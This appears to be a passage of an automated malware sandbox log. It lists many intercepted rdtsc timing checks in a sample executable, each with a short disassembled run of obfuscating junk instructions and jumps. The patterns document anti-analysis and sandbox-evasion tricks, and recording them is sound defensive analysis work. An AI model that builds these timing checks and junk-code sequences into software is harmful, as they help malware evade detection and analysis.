Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534629 second address: 53462F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53462F second address: 534639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534639 second address: 53463F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53463F second address: 534645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534645 second address: 53464F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB12C89D96Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534A63 second address: 534A67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534A67 second address: 534A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534A6D second address: 534A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539627 second address: 539645 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FB12C89D965h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539645 second address: 53967D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C899C43h 0x00000009 popad 0x0000000a jns 00007FB12C899C38h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FB12C899C41h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53967D second address: 539687 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB12C89D956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53993C second address: 539976 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FB12C899C4Fh 0x0000000f jmp 00007FB12C899C49h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539976 second address: 53999D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 ja 00007FB12C89D998h 0x0000000e jg 00007FB12C89D96Dh 0x00000014 jmp 00007FB12C89D961h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539AF9 second address: 539B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007FB12C899C42h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539B13 second address: 539B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539C7A second address: 539C9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB12C899C3Ch 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007FB12C899C36h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539C9E second address: 539CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539F84 second address: 539F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jne 00007FB12C899C3Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A109 second address: 53A10D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A10D second address: 53A126 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB12C899C36h 0x00000008 jmp 00007FB12C899C3Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A126 second address: 53A12E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DDDC6 second address: 4DDDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DDDCA second address: 4DDDD9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB12C89D956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E363 second address: 53E367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E367 second address: 53E389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB12C89D966h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E389 second address: 53E39A instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB12C899C36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53E39A second address: 53E39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F82F0 second address: 4F82F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F82F4 second address: 4F82FE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB12C89D956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F82FE second address: 4F8363 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b lea eax, dword ptr [ebp+1247D0E7h] 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007FB12C899C38h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b nop 0x0000002c jmp 00007FB12C899C48h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FB12C899C46h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8363 second address: 4DD2C1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB12C89D95Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007FB12C89D968h 0x00000010 call dword ptr [ebp+122D1D60h] 0x00000016 push ebx 0x00000017 jmp 00007FB12C89D95Dh 0x0000001c pop ebx 0x0000001d pushad 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8753 second address: 4F8759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8759 second address: 4F875D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9249 second address: 4F924E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F945D second address: 4F9467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB12C89D956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53EA8E second address: 53EA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53EA92 second address: 53EABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB12C89D961h 0x0000000f jmp 00007FB12C89D960h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53EABD second address: 53EAC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53ED99 second address: 53EDA6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB12C89D956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0BE second address: 53F0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F0CA second address: 53F0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542960 second address: 542977 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C899C43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 542977 second address: 54297D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54297D second address: 54298B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FB12C899C3Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54298B second address: 5429AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB12C89D966h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5429AB second address: 5429B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5429B1 second address: 5429B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5429B5 second address: 5429B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5429B9 second address: 5429BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5429BF second address: 5429C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5429C9 second address: 5429CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544D3F second address: 544D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C899C43h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5448D6 second address: 5448DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547C6C second address: 547C79 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB12C899C38h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5476D1 second address: 5476D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5476D6 second address: 5476FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 js 00007FB12C899C4Bh 0x0000000e jmp 00007FB12C899C45h 0x00000013 push edi 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5476FE second address: 547707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5494BA second address: 5494C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5494C0 second address: 5494C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5494C4 second address: 5494CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5494CF second address: 549501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB12C89D969h 0x00000010 jmp 00007FB12C89D95Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DF85 second address: 54DF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C899C3Dh 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D20B second address: 54D211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D211 second address: 54D274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C899C3Eh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FB12C899C3Eh 0x00000010 jmp 00007FB12C899C3Dh 0x00000015 popad 0x00000016 jnl 00007FB12C899C3Ch 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 pop eax 0x00000025 popad 0x00000026 popad 0x00000027 push ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pop eax 0x0000002c jmp 00007FB12C899C47h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D56A second address: 54D588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D967h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D588 second address: 54D5A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C899C3Dh 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FB12C899C3Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D6D8 second address: 54D6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007FB12C89D956h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D6E5 second address: 54D6EF instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB12C899C42h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D842 second address: 54D849 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D849 second address: 54D869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C899C46h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54DB24 second address: 54DB29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55228A second address: 5522AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB12C899C40h 0x0000000f pushad 0x00000010 jne 00007FB12C899C36h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5522AD second address: 5522BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C89D95Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552442 second address: 552446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552446 second address: 552450 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB12C89D956h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5525C4 second address: 5525D4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007FB12C899C36h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8F27 second address: 4F8FB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB12C89D966h 0x00000008 jp 00007FB12C89D956h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007FB12C89D958h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e jo 00007FB12C89D958h 0x00000034 mov cl, 7Ch 0x00000036 mov ebx, dword ptr [ebp+1247D126h] 0x0000003c push 00000000h 0x0000003e push edx 0x0000003f call 00007FB12C89D958h 0x00000044 pop edx 0x00000045 mov dword ptr [esp+04h], edx 0x00000049 add dword ptr [esp+04h], 00000019h 0x00000051 inc edx 0x00000052 push edx 0x00000053 ret 0x00000054 pop edx 0x00000055 ret 0x00000056 mov dword ptr [ebp+12458BB8h], esi 0x0000005c add eax, ebx 0x0000005e mov dword ptr [ebp+122D26ABh], ebx 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 push ecx 0x00000068 jmp 00007FB12C89D95Ah 0x0000006d pop ecx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8FB4 second address: 4F8FBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB12C899C36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8FBE second address: 4F8FC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F8FC2 second address: 4F9006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FB12C899C38h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 je 00007FB12C899C3Ch 0x0000002b mov dword ptr [ebp+122D3B85h], esi 0x00000031 push 00000004h 0x00000033 add dword ptr [ebp+122D19B4h], edx 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push ecx 0x0000003f pop ecx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9006 second address: 4F900A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F900A second address: 4F9010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9010 second address: 4F9023 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jno 00007FB12C89D956h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553732 second address: 553751 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB12C899C40h 0x00000008 jmp 00007FB12C899C3Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556B3A second address: 556B40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556B40 second address: 556B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556B44 second address: 556B48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5564FF second address: 556509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55EC81 second address: 55ECC6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007FB12C89D956h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop eax 0x00000010 jmp 00007FB12C89D966h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB12C89D964h 0x0000001d jc 00007FB12C89D95Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ECC6 second address: 55ECCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ECCA second address: 55ECD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ECD0 second address: 55ECD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55ECD6 second address: 55ECDC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D50F second address: 55D513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
